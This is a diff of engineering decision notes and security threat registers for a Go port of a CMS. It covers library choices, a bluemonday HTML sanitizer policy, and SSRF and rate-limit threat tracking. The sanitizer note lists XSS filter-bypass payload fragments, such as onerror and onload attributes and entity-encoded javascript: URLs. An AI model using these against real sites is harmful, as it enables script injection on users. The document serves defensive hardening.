- The PHP plugin generates both with `hashids/hashids` 5.0.2 over the alphabet `abcdefghijklmnopqrstuvwyzABCDEFGHIJKLMNOPQRSTUVWYZ1234567890`, the configured salt (`PG_HASHIDS_SALT`) and, decode-only, the legacy salt `KEIOS.PAYMENTGATEWAY`. Existing rows in every consuming application carry these values and the frontends look orders up by them, so the Go encoder has to be byte-identical.
- The research probe ran go-hashids v2.0.1 against PHP hashids 5.0.2 on 24 vectors (custom alphabet, both salts, lengths 8 and 32): 24/24 match.
- A hand-rolled encoder was rejected: Hashids has alphabet shuffles, separators and guards with many edge cases, and a mismatch would silently break every stored id.
- The library is MIT, 1.4k stars, not archived; its last release (2021-05) predates nothing the plugin needs, the algorithm is frozen. It has no dependencies of its own.
The salt is the config key `golem15.paymentgateway.hashids_salt` (`SUMMER_GOLEM15__PAYMENTGATEWAY__HASHIDS_SALT`); an empty salt fails boot (PG-005). Decoding tries the configured salt, then the legacy salt.
## Related dependencies
- `github.com/stripe/stripe-go/v87` v87.0.0 is already decided by D-12 (18-CONTEXT.md) for `sm-pgstripe-plugin`; this note does not add it to the payment gateway plugin.
- `github.com/shopspring/decimal` is an indirect dependency of stripe-go. It appears in `go.sum` of `sm-pgstripe-plugin` and is **never used for money**: the payment gateway's `money` package is a hand-ported MoneyRight value type (int64 scaled by 10^4) covered by the PHP vectors.
## Consequences
- `sm-paymentgateway-plugin/go.mod` requires `github.com/speps/go-hashids/v2 v2.0.1`; `support/hashids.go` is the only importer.
- A later change of the hashids library needs a new vector run against PHP before it ships.

View File

@@ -0,0 +1,34 @@
# Decision: go-redis v9 and otter v2 for cooler
**Date:** 2026-10-15
**Status:** Accepted
**Context:** Phase 19.3 (`cooler` module, D-06..D-09, D-13), 19.3-RESEARCH.md Standard Stack and Package Legitimacy Audit
## Decision
The new `cooler` module (cache drivers, the Redis-backed rate-limit store, later the site-cache purge) depends on:
- **`github.com/redis/go-redis/v9` at v9.23.0** as the Redis client (locked by D-07).
- The official Redis client for Go, MIT/BSD, maintained by Redis.
- `redis.ParseURL` reads `redis://`, `rediss://` (TLS) and `unix://` URLs, so the one config key `redis.url` covers local, managed and socket setups.
- `redis.NewScript` with `Script.Run` sends EVALSHA and falls back to EVAL on NOSCRIPT, which the atomic fixed-window rate-limit script needs.
- `redis.NewClient` does not dial; the first command does. `cooler.FromApp` relies on this to give jobs and console commands a cache without a connection at construction.
- cooler sets `DisableIdentity` and disables maintenance notifications, so the client sends no `CLIENT SETINFO` or `CLIENT MAINT_NOTIFICATIONS` handshake to servers that do not know them.
- **`github.com/maypok86/otter/v2` at v2.3.0** as the in-process memory cache driver (D-07 discretion: otter or a stdlib map).
- Bounded size (`MaximumSize`), per-entry expiry (`ExpiryCalculator`), lock-scoped `Compute` for an atomic `Increment`, an injectable clock for tests. No runtime dependencies (its go.mod requires only testify, for its own tests).
- Already named for `cooler` in `.planning/research/ARCHITECTURE.md` and `.planning/research/go-ecosystem.md`.
- **A stdlib map was rejected:** a map with a mutex and a sweeper is about a hundred lines, but it is unbounded. Cache keys often derive from request data (`user:<id>`, a client IP), so the map grows without limit; bounding it means writing an LRU by hand, which is exactly what otter already does well.
Both versions were checked on proxy.golang.org during research (existence, publish time, VCS origin `github.com/redis/go-redis` and `github.com/maypok86/otter`).
## Related dependencies
- **`github.com/alicebob/miniredis/v2` v2.40.0, test-only.** An in-process Redis for the `-short` unit tests of cooler (EVAL/EVALSHA, PTTL, INCRBY, SCAN, UNLINK, `FastForward` for TTLs). The package name came from training knowledge, so it is installed only in plan 05, after a blocking human check of the package. Production code never imports it.
- **`gocloud.dev/blob/s3blob`**, from the already required `gocloud.dev` v0.46.0. Plan 03 imports it only from a file under the `summercms_s3` build tag, so binaries built without the tag carry no S3 code. The import adds the AWS SDK v2 modules to `go.mod` and `go.sum` as indirect requirements.
- **Docker-backed Redis tests** use the generic `testcontainers.Run` with the `redis:7-alpine` image from the already required `github.com/testcontainers/testcontainers-go`. No testcontainers Redis sub-module is added.
## Consequences
- `go.mod` requires `github.com/redis/go-redis/v9 v9.23.0` and `github.com/maypok86/otter/v2 v2.3.0`; `modules/cooler` is the only importer of both. `surf` imports `cooler`, never go-redis directly.
- Config keys introduced with them: `redis.url`, `cache.driver` (`memory`|`redis`), `cache.prefix`, `cache.memory.max_entries`, `http.rate_limit.store` (`memory`|`redis`). Apps and deploy docs depend on these once they ship.
- Replacing the Redis client later means re-validating the rate-limit Lua script and the key layout (`<prefix>cache:`, `<prefix>rl:`) against the new client.

View File

@@ -0,0 +1,21 @@
# Release the 19.3 gap closure as v0.2.0, not v0.1.28
**Date:** 2026-10-15
**Decision:** The next framework tag after v0.1.27 is **v0.2.0**.
## Why
The 19.3-06 review fixes include changes that can make an app that boots on v0.1.27 refuse to boot after the upgrade:
- WR-05: in production, a token cookie whose `Secure` is inferred as false (http or empty `app.url`) is refused at boot.
- WR-04: credentialed CORS refuses wildcard-host and unanchored origin patterns at boot.
Smaller behaviour changes ride along: site-cache purges run queued after commit (WR-01), protected uploads into a `public_url` bucket are refused (WR-07), Journal's old purge keys are deprecated aliases.
In a v0.x Go module the minor version is the signal for "check your config before upgrading". Consumers pin exact versions, so the bump costs nothing technically.
## Consequences
- Plugins and apps move with `go get git.golem15.com/golem15/summercms@v0.2.0`.
- The docs and the release notes carry an "Upgrading to 0.2" section naming the two boot refusals and the config that fixes each.
- From here, the minor version is bumped when an upgrade can refuse a previously valid config or changes a documented behaviour; patch versions stay safe to take without reading.

View File

@@ -0,0 +1,70 @@
# Decision: bluemonday sanitizes journal post HTML
**Date:** 2026-10-09
**Status:** Accepted (fixes Phase 16.1 code review CR-01 and WR-01)
**Supersedes:** the three-regex `rejectUnsafe` gate in `sm-journal-plugin/classes/format_html.go` and the Phase 16.1 threat-register claim T-16.1-02
## Decision
`sm-journal-plugin` adds `github.com/microcosm-cc/bluemonday` v1.0.27 (the latest tag; the repository is not archived and has had no release since July 2024). `classes.FormatHTML` renders markdown with goldmark `html.WithUnsafe()` as before, then sanitizes the result with a package-level bluemonday policy. The plugin also imports `golang.org/x/net/html` directly. It was already in the build through bluemonday and the framework.
The policy is `bluemonday.UGCPolicy()` with these changes, each taken from goldmark's own output or from the posts and categories on the UAT database:
| Change | Why |
|---|---|
| `RequireNoFollowOnLinks(false)` | Winter does not add `rel="nofollow"`, so stored links keep their form. |
| `footer` element | An imported author footer (post 64). |
| `class` on every element, matching `SpaceSeparatedTokens` | Imported footers and goldmark's `{.class}` attributes and footnote classes. |
| `itemscope` (empty), `itemtype` (`https://schema.org/<Type>` only), `itemprop` | schema.org microdata in the imported author footer. |
| Styles `color`, `font-size`, `font-weight`, `text-align` | Inline styles in the imported author footer, and goldmark's table cell alignment. bluemonday validates each value. |
| `role` = `doc-noteref`, `doc-endnotes` or `doc-backlink` on `a` and `div` | goldmark's footnote markup. |
| `dir` = `ltr`, `rtl` or `auto` | Pasted chat transcripts in category bodies use `dir="auto"`. UGC's `Direction` allows only `ltr` and `rtl`. |
| `data-message-author-role`, `data-message-id` on `div` (`[A-Za-z0-9_-]+`) | The same pasted transcripts. This is not `AllowDataAttributes()`, which would allow every `data-*` attribute. |
Everything else that UGC refuses is refused: `script`, `style`, `iframe`, `object`, `embed`, `form`, `input`, `base`, `meta`, `link`, `svg`, `math`, comments, every `on*` attribute, `target`, `rel`, `title` values outside UGC's `Paragraph` pattern, and URLs other than `http`, `https`, `mailto` and relative URLs. bluemonday checks URLs after the tokenizer has decoded entities, and it requires them to parse with `net/url`.
## Strip vs refuse
- **Posts strip.** `FormatHTML` stores the sanitized output and never fails because of unsafe markup. This is parity: Winter's `Post::formatHtml` runs `Html::clean` for every writer without `backend.allow_unsafe_markdown` (a CLI import has no backend user, so it is always cleaned). `Html::clean` strips `on*` and `xmlns` attributes, `javascript:`, `vbscript:` and `data:` URLs, `style` attributes, and the `script`, `style`, `iframe`, `embed`, `object`, `meta`, `base` and `link` tags. It never refuses. The Go port sanitizes for every writer. There is no permission that skips it, because superusers in PHP hold `backend.allow_unsafe_markdown` implicitly, and that loophole is exactly the escalation CR-01 describes. No post test or API contract required a 422 for unsafe content. Only the old `classes` unit test did, and it now asserts stripping. `content` itself is still stored as submitted, as in PHP.
- **Byte-stable when nothing is stripped.** `sanitizeHTML` returns the goldmark output unchanged when that output and bluemonday's output tokenize to the same tokens: the same type, tag name, decoded text and set of decoded attributes. Otherwise it returns bluemonday's output. bluemonday re-escapes `"` as `&#34;` and `'` as `&#39;`, so storing its output every time would rewrite every imported post on its next save. Returning the original bytes is safe only on that token-level equality. Any element, attribute or comment that the policy drops makes the tokens differ, and then the sanitized output is stored.
- **Category content refuses.** `classes.CheckHTML` keeps its exported signature and its 422 contract. D-21 stores category content exactly as submitted, and `TestCategoriesAdminContent` asserts a 422 for unsafe content. CheckHTML now uses the same policy and comparison, and refuses whenever the policy would change the HTML.
- **Amended 2026-10-10 (Phase 16.2 D-10): category content strips too, and admin saves report what was stripped.** The user chose one rule for both: post and category admin writes store the sanitized output and never fail. `CheckHTML`'s 422 contract for categories and the `TestCategoriesAdminContent` 422 assertion are retired in Phase 16.2. Winter stored category content unsanitized; that was a gap, not a contract. When the policy removes anything, the admin save response names what was removed. The policy (and the layer's sanitize-html mirror) is extended only for the Blog Editor's own output, such as the `figure data-embed`/`data-id` embed placeholder.
Phase 16.2 plan 03 implements this. The Blog Editor field types decode every locale's value with `classes.SanitizeHTMLReport`, store its output (the submitted bytes when nothing is removed) and return what was removed as admin notices; an admin save of post content writes the same HTML to `content` and `content_html` without goldmark. `newHTMLPolicy` gains exactly four rules for the editor's own output, and nothing else (no iframe, no other `data-*` attribute, no `target`, `rel`, style property or URL scheme). Plan 02's `tests/blogeditor/fixtures/editor-corpus.json` pins them: `TestEditorOutputPassesPolicy` requires every corpus entry to come back from `SanitizeHTML` byte for byte with an empty report, and checks that other providers, malformed ids and other attributes are still stripped. Plan 04 adds the same four rules to the layer's sanitize-html mirror and checks the same corpus. A fifth rule is added only to both policies together.
| Change (Phase 16.2) | Why |
|---|---|
| `data-embed` matching `^youtube$` on `figure` | The editor's embed placeholder `<figure data-embed="youtube" data-id="..."></figure>`; the layer expands it, no iframe is stored. |
| `data-id` matching `^[A-Za-z0-9_-]{11}$` on `figure` | The YouTube video id of the same placeholder. |
| `alt` with any text on `img` | The editor's alt field takes free text; UGC's `Paragraph` pattern drops `:`, `?`, `"` and more. The value is escaped on output and carries no URL. |
| `start` matching `^[0-9]+$` on `ol` | TipTap's ordered-list input rule writes it when a list does not start at 1. |
- **Translations follow the same rule (2026-10-10, audit W-1).** `classes.FormatTranslation` runs on every locale of every API and import write: a non-blank `content` re-derives `content_html` with `FormatHTML` (a supplied `content_html` is replaced, as for the host column); a `content_html` sent alone goes through `classes.SanitizeHTML`, the same policy. A translation keyed on the default locale, which `translate.SetTranslated` writes straight into the host column, is covered too. PHP stored a client-supplied translated `content_html` as-is on the API and import paths; the port follows the PHP admin widget, which always derived it.
- **Duplicate attributes count as a change (audit W-2).** `golang.org/x/net/html` drops a repeated attribute while tokenizing, so the byte-stable comparison could not see `href="https://x" href="javascript:..."`. `htmlTokens` compares the raw attribute names of each start tag (`rawAttrNames`) with the attributes the tokenizer kept; any difference stores the sanitized output and makes `CheckHTML` refuse.
## Rationale
The regex blocklist could be bypassed once raw HTML passed through. These payloads came back unchanged with no error: `<img src="x"onerror=...>` (no space before the attribute), `<svg/onload=...>`, `javascript&#58;`, `javascript&colon;`, `&#106;avascript:`, `java<TAB>script:`, MathML `xlink:href`, and the inert-looking but dangerous `<base>`, `<meta http-equiv=refresh>` and `<form>`. The `data:` pattern also matched ordinary text, so "Data: 12 maja 2024" and "metadata:" were refused (WR-01). A sanitizer that tokenizes the HTML checks attributes and URL values in the same way a browser parses them, so it does not depend on any text pattern.
## Alternatives considered
- **A hand-built allow-list gate on `golang.org/x/net/html`.** It would add no new module, but the element and attribute allow-lists, the URL normalization (entity decoding, stripping ASCII whitespace and control characters, scheme checks) and the CSS value checks would be new security code that this project would own. bluemonday is the maintained Go implementation of exactly that, with its own test corpus. The project prefers a maintained library for protocol and security code.
- **Anchoring the regexes to attribute values** (the WR-01 stop-gap). It fixes the false refusals but not the bypasses.
- **Refusing posts with a 422 instead of stripping.** That is not PHP parity. It would also turn every pasted editor fragment that contains a stray `style` element or attribute into a failed save or import.
## Consequences
- UAT impact scan, read-only, run on 2026-10-09 over 104 posts, 2 `en` translations and 6 category bodies:
- **No stored post or category holds an XSS payload.**
- Only post 64 changes when it is next re-saved. Its 24-line `<style>` block for the author footer is removed, so the footer loses its flex layout and the round photo. The footer's `itemscope` is re-serialized as `itemscope=""`, and its inline styles lose the trailing `;`. The text, image and microdata stay.
- All 6 category bodies pass `CheckHTML`.
- The stored `content_html` does not change until a post is saved again.
- The README Posts bullet, the `CheckHTML` row and the Dependencies line in `sm-journal-plugin/README.md` describe the sanitizer.
- `sm-grzybyfunkcjonalne-app` includes the plugin as a submodule (`plugins/golem15/journal`), so it gets the fix when that submodule is bumped. Its workspace then needs bluemonday's `go.sum` lines.
## Follow-ups
- Done: the post 64 author-footer CSS moved into vue-grzybyfunkcjonalne-app `app/assets/css/base.css` (2c46185).
- Done: `vue-journal-layer` replaced its regex gate with sanitize-html 2.18.0 mirroring this policy (5beb1c5; decision note `docs/decisions/0001-sanitize-html.md` in that repository, which explains why not DOMPurify).
- If editors need `target="_blank"` links, `rel`, or `title` values with quotes or `&`, extend the policy deliberately. These are not allowed now because no imported content uses them.

View File

@@ -0,0 +1,45 @@
---
title: How the WavePath framework asks divide between SummerCMS and WavePath
date: 2026-10-11
context: /msd-explore on the WavePath hand-off list `/media/nvme/dev/jz/wavepath.org/.planning/notes/summercms-framework-asks-for-wavepath.md`. Seed `SEED-261007-0tb`.
---
# How the WavePath framework asks divide between SummerCMS and WavePath
WavePath's agent wrote a list of what it needs from SummerCMS (section A) and what it will do itself (section B). Section B stays on the WavePath side as its migration milestone. Section A lands here as the 19.x phases, all before the Płytarium cutover (Phase 20).
## Decisions
- **The 19.x block comes before the cutover.** Chat first, then chat polish, then the other framework and user-plugin asks. Phase 20 waits for 19 to 19.6. The WavePath migration milestone opens after Phase 20.
- **Chat is ported from the WavePath copy**, with `root_id` threading and `thread_summaries`. This settles the open chat-source question for Phase 19.
- **The seed's trigger is now "Phase 20 complete".** The WavePath milestone no longer waits for the Horoskopia port.
## Where each ask lands
| Ask | Where |
|---|---|
| A9: chat and chatchannels | Phase 19 |
| A9: chatbots, chatvideo (LiveKit, reconcile job), forum, herald (web push), userfriends | Phase 19.1 |
| Chat parity against WavePath's clients | Phase 19.2 |
| A3 cookie refresh and CORS, A6 cache and Redis `surf.Store`, A8 S3 option, `/api-docs`, Turnstile | Phase 19.3 (`summercms.go`) |
| A1 OIDC provider | Phase 19.4 (`wristband`) |
| A2 social login | Phase 19.5 (`sm-user-plugin`) |
| A4 2FA, A5 device flow | Phase 19.6 (`sm-user-plugin`) |
| A7 `summer import:winter` | Phase 20 (D-02 runner), with the WavePath stress cases below |
## Corrections to the hand-off list
- **The user plugin is already shared.** `sm-user-plugin` (`git.golem15.com/golem15/sm-user-plugin`) is its own repo, checked out by both fonoteka.go and sm-bm-app. Phases 19.5 and 19.6 add to it directly. Both consuming apps must still build after each change.
- **Plugin-registrable token scopes (A8) are dropped for now.** `sm-user-plugin` already mints scoped tokens (`MintAPIToken`, `HasScope`). Its allowed list (`read`, `write`, `ai`) is a static package variable. WavePath's `wave.scope.public:*` scopes belong to its own `wave_token` guard and `golem15_wavepath_api_tokens` table, which section B ports on the WavePath side. Add a `RegisterAPITokenScope` hook only if WavePath confirms that its user-plugin tokens carry custom scopes.
## `import:winter` stress cases from WavePath (for Phase 20)
- The source is MariaDB. That is the same MySQL wire protocol, but check type coercion.
- About 90 tables, including large chat and channel message tables. Batching must handle them.
- APP_KEY-encrypted columns go through the Laravel-decrypt hook.
- Zero-knowledge encryption-key blobs are copied byte for byte and never decoded.
- `system_files` across 16 attaching models, and 9 `system_settings` rows.
## Scope reminder
The WavePath backend is about 350 routes, about 90 tables and 164 migrations across `wavepath` and its shared plugins. The PHP routes are not frozen, so re-count when the milestone opens.

View File

@@ -0,0 +1,139 @@
---
phase: "06"
slug: "http-routing-auth-groups-and-rate-limiting"
status: verified
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
threats_open: 0
threats_total: 38
threats_closed: 38
accepted_risks: 4
asvs_level: 1
block_on: high
register_authored_at_plan_time: true
created: "2026-10-12"
---
# Phase 06 — Security
> Per-phase security contract: threat register, accepted risks, and audit trail.
Detailed per-threat findings, grep evidence and the reopen history (Plan 06-11's verdict superseded by 06-12 to 06-14) live in `06-SECURITY-REVIEW.md`. This file is the gate contract derived from all fourteen `<threat_model>` blocks. Framework paths are relative to `summercms.go/modules/`; app paths are relative to `fonoteka.go/`.
---
## Trust Boundaries
| Boundary | Description | Data Crossing |
|----------|-------------|---------------|
| client → Authorization header | untrusted JWT or `inv_` bearer parsed on every request | raw token, token hash, user id (high) |
| guard registry → plugin Boot | plugin-declared guard names become live auth middleware | guard names, guard values |
| inv_token guard → api_tokens table | hash-indexed lookup of an untrusted bearer | token_hash, scopes, expiry, revocation (high) |
| client → X-Forwarded-For / limiter keys | untrusted IP, token id, route param feed the limiter store | RemoteAddr, XFF, `tok:<id>` |
| request metadata → anonymous inline key | throttle text and Host inputs must not select a fresh budget | `inline:domainless`, trusted ClientIP |
| public-share group → anonymous caller | zero-credential surface; errors must not leak internals | 429 body, cache/robots headers |
| raw group → house middleware | RFC/OAuth surface must never inherit the house envelope | middleware names |
| request body → middleware and handler | unbounded body is a resource-exhaustion vector | request body bytes |
| handler/middleware → client response | partial output must not escape on panic | status, headers, body |
| caller URL / DNS answer → outbound dial | SSRF to loopback, RFC1918, CGNAT, metadata, special-use, transition and zoned addresses | dial-time IP, host allow-list (high) |
| personal-token context → denial serializer | 401/403 bytes are part of the PHP compatibility contract | exact JSON bytes |
| test evidence → security sign-off | verdict must follow executed proof | review document, gate output |
---
## Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|-----------|----------|-----------|----------|-------------|------------|--------|
| T-06-01 | Spoofing | bouncer.Registry.Register | high | mitigate | duplicate/unknown/neither-interface guards fail boot; `bouncer/registry_test.go:TestDuplicateGuardNameFailsWithPluginAndName`, `TestUnknownGuardNameFails`, `TestRegisterNeitherInterfaceNamesPluginAndName` | closed |
| T-06-02 | Elevation of Privilege | jwt vs inv_token groups | high | mitigate | `plugins/golem15/fonoteka/routes_isolation_test.go:TestFullRouteTableAuthGroupMutualExclusivity`; `routes_group_test.go:TestGenresSharedHandler` | closed |
| T-06-03 | Information Disclosure | ApiToken.TokenHash | medium | accept | hidden via `json:"-"`/Hidden(); `classes/hidden_marshal_test.go:TestHiddenNeverMarshals` | closed |
| T-06-04 | Repudiation | last_used stamping | low | mitigate | single UpdateColumns, no bearer logging; `classes/auth/token_guard_test.go:TestTokenGuard` | closed |
| T-06-05 | Tampering | SHA-256 hash lookup timing | low | accept | indexed equality lookup, not a secret byte compare | closed |
| T-06-06 | Denial of Service | surf.ClientIP | medium | mitigate | XFF honored only from `http.trusted_proxies`; `surf/clientip_test.go:TestClientIPRejectsSpoofedXFF` | closed |
| T-06-07 | Information Disclosure | public-share 429 | medium | mitigate | fixed JSON body + no-index/no-store; `middleware/public_share_headers_test.go:TestPublicShareHeadersRewrites429` | closed |
| T-06-08 | Denial of Service | MemoryStore cardinality | medium | accept | sweep bounds growth (D-03); `surf/limiter_coverage_test.go:TestMemoryStoreSweepRemovesExpiredEntry` | closed |
| T-06-09 | Repudiation | parity fixtures under APP_DEBUG | low | mitigate | `parity/php_debug_test.go:TestPHPParityPinsAppDebugFalse` | closed |
| T-06-10 | Elevation of Privilege | full route-table exclusivity | high | mitigate | `routes_isolation_test.go:TestFullRouteTableAuthGroupMutualExclusivity` over real `Router.Routes()` | closed |
| T-06-11 | Tampering | raw-group house-middleware refusal | medium | mitigate | `surf/routetable_test.go:TestRawGroupHouseMiddlewareRefusedAtBuild`; `routes_cors_test.go:TestRawGroupRefusesHouseMiddlewareOnRealPlugins`, `TestHouseMiddlewareCapabilityOnRealPlugins` | closed |
| T-06-12 | Denial of Service | unbounded request body | high | mitigate | MaxBytesReader on non-raw routes; `surf/bodylimit_test.go:TestBodyLimitDefaultRejectsOversizedBody`, `TestBodyLimitRawExempt` (middleware gap closed by T-06-28) | closed |
| T-06-13 | Information Disclosure | body limits shipped as a guess | low | mitigate | operator-confirmed 128M; `http_config_test.go:TestProductionBodyLimitsOperatorConfirmed` | closed |
| T-06-14 | Elevation of Privilege | SSRF to internal/metadata | critical | mitigate | dial-time Control in both modes; `fetchguard/fetch_test.go:TestFetchPrivateIPBlockedInBothModes`; `fetchguard/ip_test.go:TestIsReservedOrPrivate` | closed |
| T-06-15 | Tampering | DNS rebinding | high | mitigate | check runs on the connected address; `TestFetchPrivateIPBlockedInBothModes` | closed |
| T-06-16 | Denial of Service | unbounded response body | medium | mitigate | streaming LimitReader + timeout; `fetchguard/fetch_test.go:TestFetchTooLargeIsStreaming` | closed |
| T-06-17 | Elevation of Privilege | redirect to private address | high | mitigate | no automatic redirects; `fetchguard/fetch_test.go:TestFetchDoesNotFollowRedirect` | closed |
| T-06-18 | Spoofing | dotted-suffix allow-list bypass | high | mitigate | `TestFetchAllowHostsRejectsDottedSuffixBypass`; `fetchguard/fetch_coverage_test.go:TestHostAllowedExactAndDottedSuffix` | closed |
| T-06-19 | Repudiation | security review completeness | low | mitigate | `06-SECURITY-REVIEW.md` maps every implementation ID; this file maps all 38 | closed |
| T-06-20 | Tampering | coverage gaps hiding defects | low | mitigate | 06-05 coverage tests (`*_coverage_test.go`); 06-14 regression tests | closed |
| T-06-21 | Denial of Service | personal-token genres chain | high | mitigate | `inv_token` → `throttle` → `inv.scope`; `routes_isolation_test.go:TestPersonalTokenGenresUnauthenticatedRequestsAreRateLimited` | closed |
| T-06-22 | Denial of Service | fonoteka-api-token key selection | medium | mitigate | credential resolved before key closure (`tok:<id>`); same test + route-order invariant | closed |
| T-06-23 | Denial of Service | Store / FixedWindowLimiter | high | mitigate | atomic Attempt; `surf/limiter_test.go:TestMemoryStoreConcurrentAttempt`, `TestFixedWindowLimiterConcurrentMaxOne` | closed |
| T-06-24 | Denial of Service | inline anonymous key | high | mitigate | `inline:domainless|<ClientIP>`; `surf/limiter_test.go:TestFixedWindowLimiterInlineThrottleKeys` | closed |
| T-06-25 | Elevation of Privilege | IPv6 transition SSRF | critical | mitigate | NAT64/6to4 decode; `fetchguard/ip_test.go:TestIsReservedOrPrivateIPv6Transitions`; `fetch_test.go:TestDialControlRejectsUnsafeIPv6Transitions` | closed |
| T-06-26 | Information Disclosure | panic recovery | medium | mitigate | buffered commit; `surf/router_test.go:TestRecoverDiscardsPartialResponse`, `TestBufferedResponseCommitsSuccessfulOutput` | closed |
| T-06-27 | Tampering | InvScope 401/403 bytes | medium | mitigate | `wire.WriteJSON`; `middleware/token_scope_test.go:TestInvScope` | closed |
| T-06-28 | Denial of Service | body limit vs named middleware | high | mitigate | bodyLimit outermost; `surf/bodylimit_test.go:TestBodyLimitBoundsBodyConsumingMiddleware`, `TestBodyLimitBoundsNamedMiddleware`, `TestBodyLimitInvalidParamFailsBoot` | closed |
| T-06-29 | Denial of Service | limiter definitions | high | mitigate | fail closed; `surf/limiter_test.go:TestRegisterBucketRejectsInvalid`, `TestValidateThrottleRejectsOverflowAndNilStore`, `TestMiddlewareFailsClosed` | closed |
| T-06-30 | Elevation of Privilege | IANA special-use ranges | critical | mitigate | `fetchguard/ip_test.go:TestIsReservedOrPrivateIANABoundaries`, `TestIsReservedOrPrivateSpecialUseSmoke` | closed |
| T-06-31 | Elevation of Privilege | zoned IPv6 dial | high | mitigate | `ip_test.go:TestIsReservedOrPrivateIgnoresZone`; `fetch_test.go:TestDialControlRejectsZonedAndSpecialUse`, `TestFetchPublicOnlyMapsSpecialUseToPrivateIP` | closed |
| T-06-32 | Denial of Service | typed-nil guard | medium | mitigate | `bouncer/registry_test.go:TestRegisterRejectsTypedNilGuard`, `TestRegisterRejectsTypedNilPointerFuncMapGuards`, `TestRegisterAcceptsValidGuards` | closed |
| T-06-33 | Spoofing | JWT numeric subject | high | mitigate | `bouncer/jwt_test.go:TestVerifyRejectsFractionalSubject`, `TestVerifySubjectMatrix`, `TestSubjectJSONNumber` | closed |
| T-06-34 | Denial of Service | ServeMux conflict panic | medium | mitigate | `surf/bodylimit_test.go:TestCompileRouteConflictReturnsError`; `surf/router_test.go:TestFactoriesBuiltOncePerName` | closed |
| T-06-35 | Denial of Service | missing body_limits config | medium | mitigate | `surf/router_test.go:TestBuildRouterFailsOnMissingBodyConfig`; `surf/bodylimit_test.go:TestBodyLimitMissingConfigFailsBoot` | closed |
| T-06-36 | Repudiation | 06-SECURITY-REVIEW.md verdict | low | mitigate | verdict follows 06-14 gate output; superseded 06-11 row retained; re-checked by this audit | closed |
| T-06-37 | Tampering | test suite loosening checks | low | mitigate | 06-14 reported the factory-cache defect and fixed it (1d2e00c) instead of masking it | closed |
| T-06-SC | Tampering | package supply chain | low | accept | swag/openapi-typescript passed 06-RESEARCH package audit; 06-06 to 06-14 add no dependencies | closed |
*Status: open · closed · open — below high threshold (non-blocking)*
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
Severities were not recorded in the plans; they are assigned in this audit. No threat is open, so the assignment does not affect the gate.
---
## Accepted Risks Log
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|---------|------------|-----------|-------------|------|
| AR-06-01 | T-06-03 | Already hidden via json:"-" and Hidden() (Phase 5, verified by 05-06's hidden-marshal test); this plan adds no new serialization path for the hash | Plan 06-01 | 2026-09-19 |
| AR-06-02 | T-06-05 | Indexed equality lookup (not a byte-for-byte secret compare) is not a timing side-channel per RESEARCH.md's V6 Cryptography note; crypto/subtle is reserved for a future raw-compare path (e.g. OAuth client secrets, Phase 8), not needed here | Plan 06-01 | 2026-09-19 |
| AR-06-03 | T-06-08 | v1 ships an unbounded-until-swept map per CONTEXT D-03's explicit "no otter/cooler this phase" decision; the sweep goroutine bounds long-term growth to roughly one decay window's worth of distinct keys, acceptable for a single-instance v1 deployment | Plan 06-02 | 2026-09-19 |
| AR-06-04 | T-06-SC | Both packages are STACK.md-named and pass 06-RESEARCH.md's Package Legitimacy Audit (Approved disposition, no [ASSUMED]/[SUS] verdicts); later gap plans add no dependencies | Plan 06-03 | 2026-09-19 |
*Accepted risks do not resurface in future audit runs.*
---
## Security Audit Trail
| Audit Date | Threats Total | Closed | Open | Run By |
|------------|---------------|--------|------|--------|
| 2026-09-19 | 19 | 19 | 0 | gsd-executor (06-05) |
| 2026-09-20 | 21 | 21 | 0 | gsd-executor (06-06) |
| 2026-09-21 | 26 | 26 | 0 | gsd-executor (06-11), superseded |
| 2026-09-21 | 34 | 34 | 0 | gsd-executor (06-14) |
| 2026-10-12 | 38 | 38 | 0 | msd-secure-phase (L1, auditor skipped by short-circuit) |
### Security Audit 2026-10-12
| Metric | Count |
|--------|-------|
| Threats found | 38 |
| Closed | 38 |
| Open | 0 |
- Register built from all 14 PLAN `<threat_model>` blocks. It adds T-06-19, T-06-20, T-06-36 and T-06-37 (process threats from 06-05 and 06-14), which `06-SECURITY-REVIEW.md` did not list.
- SUMMARY threat flags: only 06-10 has one ("None").
- All 53 cited test functions were found by grep at their current paths (framework packages now live under `modules/`).
- `go test -short -count=1` passed for `modules/bouncer`, `modules/surf` and `modules/fetchguard` in summercms.go, and for `./plugins/golem15/fonoteka/...`, `./parity` and the root package in fonoteka.go.
---
## Sign-Off
- [x] All threats have a disposition (mitigate / accept / transfer)
- [x] Accepted risks documented in Accepted Risks Log
- [x] `threats_open: 0` confirmed
- [x] `status: verified` set in frontmatter
**Approval:** verified 2026-10-12

View File

@@ -0,0 +1,96 @@
---
phase: "08"
slug: "oauth2-1-authorization-server"
status: verified
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
threats_open: 0
threats_total: 11
threats_closed: 11
accepted_risks: 0
asvs_level: 1
block_on: high
register_authored_at_plan_time: true
created: "2026-10-12"
---
# Phase 08 — Security
> Per-phase security contract: threat register, accepted risks, and audit trail.
Detailed per-threat findings and named test evidence live in `08-SECURITY-REVIEW.md` (2026-09-24, performed by the 08-10 executor, not an independent auditor; see its Reviewer Note). This file is the gate contract derived from all ten `<threat_model>` blocks. The plans carry no severity column; severities below are assigned at this audit. Framework paths are relative to `summercms.go/modules/`; app paths are relative to `fonoteka.go/plugins/golem15/fonoteka/`.
---
## Trust Boundaries
| Boundary | Description | Data Crossing |
|----------|-------------|---------------|
| connector → raw `/.well-known` and `/oauth/mcp/*` routes | untrusted discovery, authorize, register and token traffic on raw (unguarded) routes | client metadata, redirect URIs, PKCE challenge/verifier, client secret (high) |
| validated redirect → `Location` | client-controlled redirect trusted only after exact allow-list match | code, state, error (high) |
| wristband records → GORM | app-agnostic code/refresh/client state persisted with row locks | code hash, refresh hash, lineage (high) |
| browser JWT principal → consent / connected-app API | authenticated user ids cross ownership, scope and collection boundaries | request handle, scopes, token ids (high) |
| refresh credential → token endpoint | long-lived bearer-like credential requests a new grant branch | refresh token (high) |
| transaction outcome → OAuth error | lineage revocation must commit although the response is `invalid_grant` | revocation state |
| operator CLI → client store | trusted input creates a recoverable-once confidential client | client secret (high) |
| bearer header → personal-token `/me` | untrusted bearer crosses existing token and scope guards | user profile fields (medium) |
| PHP capture → committed fixtures; gate → child processes | live credentials must become placeholders before git; secrets cross shell/Node/Go | credentials (high) |
---
## Threat Register
